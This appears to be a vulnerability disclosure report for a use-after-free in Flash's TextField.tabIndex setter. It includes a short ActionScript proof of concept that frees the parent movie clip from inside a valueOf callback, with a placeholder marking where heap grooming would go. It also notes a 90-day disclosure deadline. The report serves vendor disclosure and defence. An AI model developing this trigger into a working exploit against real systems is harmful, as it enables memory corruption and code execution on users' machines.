There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 1);
var tf = mc.createTextField("tf", 2, 1, 1, 100, 100);
tf.text = "hello";
tf.tabIndex = {valueOf : func};

function func(){
	if(times == 0){
		times++;
		return;
        }
	mc.removeMovieClip();
	
        // Fix heap here

	return 0x77777777;
	
	}

A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

tabIndex.swf 323 KB Download

tabIndex.fla 282 KB Download